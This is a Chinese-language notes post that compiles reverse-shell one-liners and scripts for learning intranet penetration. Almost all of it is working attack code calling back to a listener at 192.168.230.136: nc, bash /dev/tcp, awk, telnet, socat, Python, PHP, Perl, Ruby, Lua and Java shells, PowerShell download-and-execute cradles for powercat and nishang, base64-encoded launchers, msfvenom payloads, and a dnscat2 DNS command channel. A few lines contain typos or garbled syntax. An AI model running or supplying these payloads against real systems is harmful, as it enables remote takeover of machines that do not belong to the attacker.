参考文章
反弹shell的各种姿势
powershell反弹shell常见方式
前言
最近在学内网,就从最基础的知识开始学习、整理
正向连接
攻击者去连接受害者
弊端:当受害者处于局域网内无法使用正向连接;当受害者 IP 实时变化时无法持续连接。
反向连接
受害者主动连接攻击者
前提
为什么要反弹 shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。
接收端采用 nc 监听 2333 端口
nc -lvp 2333
Linux
nc 反弹
第一种:nc 支持 -e 选项
nc -e /bin/bash 192.168.230.136 2333
注意:需要在靶机上已经安装了 nc 工具
第二种:不支持 -e
nc 192.168.230.136 2333| /bin/bash |192.168.230.136 6666
注:需在攻击机上监听两个端口,2333 为命令执行端,6666 为 命令结果接收端
bash 反弹
- 第一种:
bash -i >& /dev/tcp/192.168.230.136/2333 0>&1
注:当直接使用终端执行该命令的话,关闭终端的同时,反弹的 shell 也会被关闭
- 第二种:
exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5;done
注:exec /bin/sh 0&0 2>&0
这种方式一执行,终端就闪退,导致失败
awk 反弹
第一种:
awk 'BEGIN{s="/inet/tcp/0/192.168.230.136/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
第二种:
脚本:test.txt
BEGIN {
Service = "/inet/tcp/0/192.168.230.136/2333"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}
执行
/usr/bin/gawk -f test.txt
telnet 反弹
第一种:
telnet 192.168.230.136 2333 | /bin/bash | telnet 192.168.230.136 6666
注:需要在攻击主机上分别监听 2333 和 6666 端口,执行反弹 shell 命令后,在 2333 终端输入命令,6666 查看命令执行后的结果。在执行的时候可能会出现了如下错误,但反弹仍能成功
第二种:
mknod backpipe p && telnet 192.168.230.136 2333 0backpipe
注:只需要监听一个 2333 端口即可
socat 反弹
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.230.136:2333
脚本语言反弹
- Python 2/3 皆可
# 1.
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.230.136',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# 2.
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('192.168.230.136',2333))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
- PHP
php -r '$sock=fsockopen("192.168.230.136",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
- Perl
perl -e 'use Socket;$i="192.168.230.136";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' # 也可以反弹 /bin/bash
- Ruby
# 1.
ruby -rsocket -e'f=TCPSocket.open("192.168.230.136","2333").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
# 2.
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.230.136","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
- Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.230.136','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
- JAVA
脚本:Revs.java
public class Revs {
/**
* @param args
* @throws Exception
*/
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(cmd);
p.waitFor();
}
}
将上述脚本保存为文件,编译、执行即可
javac Revs.java
java Revs
Windows
powershell 反弹
第一种:
前提:下载 nc 版本的 powershell-----powercat
在 powershell 中执行:
Import-Module ./powercat.ps1
powercat -c 192.168.230.136 -p 2333 -e cmd
第二种:
直接在 powershell/cmd 中执行
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'); powercat -c 192.168.230.136 -p 2333 -e cmd
注:某些时候需要将其进行 base64 编码,比如在 sqlserver 中和在 php 的 system 函数中
$text="IEX((New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'))";
$Bytes=[System.Text.Encoding]::Unicode.GetBytes($Text);
$EncodedText =[Convert]::ToBase64String($Bytes) $EncodedText > bs64.txt
然后执行:poweshell -exec bypass -encodedcommand bs64.txt;powercat -c 192.168.230.136 -p 2333 -e cmd
nc 反弹
下载地址:nc
nc 192.168.230.136 2333 -e c:\windows\system32\cmd.exe
注:上面的方式是将 nc 添加到环境变量了,未添加可用:netcat.exe 192.168.230.136 2333 -e c:\windows\system32\cmd.exe
msfvenom
前提:攻击机上使用 msf 监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.230.136
set LPORT=2333
- exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f exe -o test.exe
然后将生成的 exe 文件上传到目标机器上双击执行即可
- dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f dll -o /tmp/reverse_tcp.dll
然后将生成的 dll 文件上传到目标机器上执行regsvr32.exe /s /u reverse_tcp.dll
脚本语言反弹
跟在 Linux 平台上相似,可以利用各种脚本语言反弹shell,只不过反弹的不是 /bin/bash ,而实 cmd,例如:
ruby -rsocket -e 'c=TCPSocket.new("192.168.230.136p","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Cobalt strike 反弹
1、配置监听器:点击 Cobalt Strike——>Listeners——>在下方 Tab 菜单 Listeners ,点击 add。
2、生成 payload:点击 Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行 powershell payload
Empire 反弹
usestager windows/launcher_vbs
info
set Listener test
execute
nishang 框架
nishang是一个基于 PowerShell 的攻击框架,集合了一些 PowerShell 攻击脚本和有效载荷,可反弹 TCP/ UDP/ HTTP/HTTPS/ ICMP 等类型 shell
- Reverse TCP shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.230.136 -port 2333
- Reverse UDP shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.230.136 -port 2333
Dnscat 反弹
下载地址:Dnscat2
dnscat2是一个 DNS 隧道,旨在通过 DNS 协议创建加密的命令和控制(C&C)通道。dnscat2 分为两部分:客户端和服务器。dnscat2 客户端采用 C 语言编写,服务器端采用 ruby 语言编写。后来又有安全研究人员使用 PowerShell 脚本重写了 dnscat2 客户端 dnscat2-powershell
利用 dnscat2 和 dnscat2-powershell 实现反弹 DNS shell:
具体操作:
攻击者(192.168.230.136)开启监听:
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.230.136" --no-cache -e open
-e open 不使用加密连接,默认使用加密
ruby dnscat2.rb —help 查看帮助
目标机执行:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.230.136
成功反弹 shell 后,攻击者:
session -i 1 # 进入到session 1
shell # 执行之后会新生成一个 session 需要通过 session -i 2 切换
session -i 2